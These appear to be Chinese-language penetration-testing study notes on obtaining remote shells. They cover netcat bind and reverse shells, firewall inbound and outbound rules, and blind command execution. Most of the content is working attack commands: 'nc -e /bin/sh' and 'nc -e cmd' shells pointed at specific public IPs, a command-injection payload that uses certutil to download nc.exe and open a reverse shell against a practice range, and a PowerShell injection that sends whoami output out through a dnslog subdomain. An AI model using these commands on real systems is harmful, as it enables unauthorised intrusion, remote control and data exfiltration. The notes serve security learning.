基础入门-反弹 SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
1、渗透命令-常规命令&文件上传下载
(1)常规基本渗透命令详解
https://blog.csdn.net/weixin_43303273/article/details/83029138
(2)文件上传下载
文件上传下载-解决无图形化&解决数据传输
使用环境:实际使用中,浏览器访问web的文件目录自动进行下载的文件,但系统内没有图形化界面时,使用命令向自己的服务器请求下载文件
命令生成:使用棱角社区的生成下载命令的在线工具
https://forum.ywhack.com/bountytips.php?download
填写自己的服务器ip和端口,对不同的操作系统选择不同的命令
2.反弹 Shell 命令-解决数据回显&解决数据通讯
windows:下载nc工具
linux:使用自带的nc(ncat)
命令生成:棱角社区反弹shell一键生成
(1)正向连接:我连接你
本地监听等待对方连接,端口选择1-65535(只要不被占用)
Linux 控制 Windows
windows绑定 CMD 到本地 5566 端口
1
nc -e cmd -lvp 5566
linux主动连接目标windows(47.122.23.131)5566 ,进入到windows的cmd
1
nc 47.122.23.131 5566
Windows 控制 Linux
linux绑定 /bin/sh 到本地 5566 端口
1
nc -e /bin/sh -lvp 5566
windows主动连接目标linux(47.94.236.117),进入到linux的/bin/sh
1
nc 47.94.236.117 5566
(2)反向连接:我等着你连接
主动给出去,对方监听
windows控制linux
linux绑定/bin/sh主动给到目标 windows(47.122.23.131)5566 端口
1
nc -e /bin/sh 47.122.23.131 5566
windows5566 连接,进入到linux的/bin/sh
1
nc -lvvp 5566
linux控制windows
windows绑定CMD主动给到目标linux(47.94.236.117) 5566 端口
1
nc -e cmd 47.94.236.117 5566
linux 5566 连接,进入windows的cmd
1
nc -lvvp 5566
Linux外网服务器连接内网windows
linux找不到windows的ip,windows可以访问外网linux,只能windows主动给出去
内网windows,内网ip(192.168.1.99),出网ip(171.0.1.2)
1
nc -e cmd 47.94.236.117 5566
外网linux
1
nc -lvp 5566
内网windows连接外网linux服务器
外网linux:
1
nc -e /bin/sh -lvp 5566
内网windows:
1
nc 47.94.236.117 5566
3.实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
管道符:
1
| (管道符号) || (逻辑或) && (逻辑与) & (后台任务符号)
windows:| & || &&
linux: ; | || & && `` (特有 ; 和 ``)
使用管道符实现执行多个命令
例子:
ping -c 1 127.0.0.1 ; whoami ping ;whoami
1
2
3
- ```
ping -c 1 127.0.0.1 | whoamiping -c 1 127.0.0.1 || whoami
1
2
3
- ```
ping -c 1 127.0.0.1 & whoamiping -c 1 127.0.0.1 && whoami
1
2
3
4
- ```
ping -c 1 127.0.0.1 `whoami`
ping `whoami`
使用nc连接pikachu靶场ping题:
1.获取nc.exe到路径C:\\
1
0.0.0.0 | certutil -urlcache -split -f https://learning-image-hwt.oss-cn-heyuan.aliyuncs.com/tool/nc.exe C:\\nc.exe
2.执行nc进行反向连接
1
0.0.0.0 | C:\\nc.exe -e cmd 8.155.11.131 5566
3.公网linux监听自身5566端口获得cmd
1
nc -lvp 5566
注:服务器连接不上,需要配置防火墙入站规则
防火墙:入站规则,出站规则
防火墙一般默认入站严格,出站宽松
4. 实际案例 2:防火墙组合数据不回显-ICMP 带外查询 Dnslog
漏洞有,但数据不回显:
方法1:反弹shell
方法2:带外查询:看不到结果,主动带出来
使用:获取一个SubDomain地址,尝试去ping,ping通了网页会有一个记录,表示命令执行成功。防火墙对此无影响
1
ping zqsx0z.dnslog.cn
1
ping whoami.zqsx0z.dnslog.cn
问题:只输出了字符串whoami,并没有执行whoami命令
1
ping `whoami`.zqsx0z.dnslog.cn
问题:windows的cmd命令识别不了``,这个符号是linux系统特有的
并且,cmd不能带入执行whoami
办法:采用powershell赋值变量进行执行
$x=whoami;$y=’.am84eg.dnslog.cn’
$z=$x+$y
问题:地址里有一个 \ 导致找不到
方法:使用replace()替换 \
1
$z=$z.replace('\','xxx')
最终构造:
1
127.0.0.1 | powershell $x=whoami;$x=$x.replace('\','xxx');$y='.blefo9.dnslog.cn';$z=$x+$y;ping $z
cmd无法同时执行ping和whoami,用powershell变量赋值,把whoami执行结果给变量,结果带有“\”导致ping无法执行,需替换
至此,命令执行成功,带出回显